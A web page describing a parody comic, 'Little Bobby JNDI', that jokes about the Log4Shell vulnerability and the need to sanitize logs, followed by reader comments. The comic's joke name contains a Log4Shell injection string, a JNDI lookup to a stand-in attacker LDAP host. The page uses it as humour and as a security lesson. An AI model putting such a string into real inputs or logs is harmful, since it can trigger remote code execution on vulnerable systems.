Little Bobby JNDI teaches the school why logs need sanitizing
Description
Four-panel stick-figure comic in the xkcd style. Panel 1: a parent holding a coffee answers the phone; the speech bubble from the caller reads, “HI, THIS IS YOUR SON’S SCHOOL. WE’RE HAVING SOME COMPUTER TROUBLE.” Panel 2: the parent replies, “OH, DEAR - DID HE BREAK SOMETHING?” and the caller answers, “IN A WAY - ”. Panel 3 shows the caller asking, “DID YOU REALLY NAME YOUR SON Robert ${jndi:ldap://exploit.cn/a}?”, to which the parent calmly responds, “OH, YES. LITTLE BOBBY JNDI, WE CALL HIM.” Panel 4: the exasperated caller says, “WELL, WE’VE LOST THIS YEAR’S STUDENT RECORDS. I HOPE YOU’RE HAPPY.” The parent retorts, “AND I HOPE YOU’VE LEARNED TO SANITIZE YOUR Log Outputs.” The joke riffs on the infamous Log4Shell vulnerability where unsanitized log entries containing JNDI lookups trigger remote code execution, parodying the classic “Little Bobby Tables” SQL-injection cartoon but for Java logging. It underscores the importance of input sanitization and secure logging practices
Comments
11Comment deleted
If your log formatter is Turing-complete, you don’t have observability - you’ve accidentally published an RCE API under the DEBUG endpoint
The real tragedy isn't losing the student records - it's explaining to the board why a logging library had more permissions than the CTO
Bobby Tables grew up, had a kid, and the industry still ships string interpolation with network access - sanitization skipped a generation
Ah yes, the natural evolution of Little Bobby Tables - now targeting architects who thought 'just log everything' was a solid observability strategy. Nothing says 'enterprise-grade security' quite like your logging framework becoming an RCE vector because someone decided ${jndi:ldap://} lookups in log messages were a feature, not a bug. At least with SQL injection, you had to hit a database; Log4Shell democratized exploitation by making every log.info() call a potential footgun. The real tragedy? Explaining to the board why a logging library caused a P0 incident while they're still trying to understand what 'sanitize your inputs' meant from the 2006 Bobby Tables talk
If your logger evaluates JNDI, it's not observability - it's RCE‑as‑a‑Service with 90‑day retention
When your logs resolve JNDI, observability is just eval() with better timestamps
Bobby Tables: Where even school secretaries expose why bind params exist - and why legacy CRUD still bites after 15 years
Explain? Comment deleted
https://www.lunasec.io/docs/blog/log4j-zero-day/ Comment deleted
i don't get what the hell this does Comment deleted
deletes logs ? Comment deleted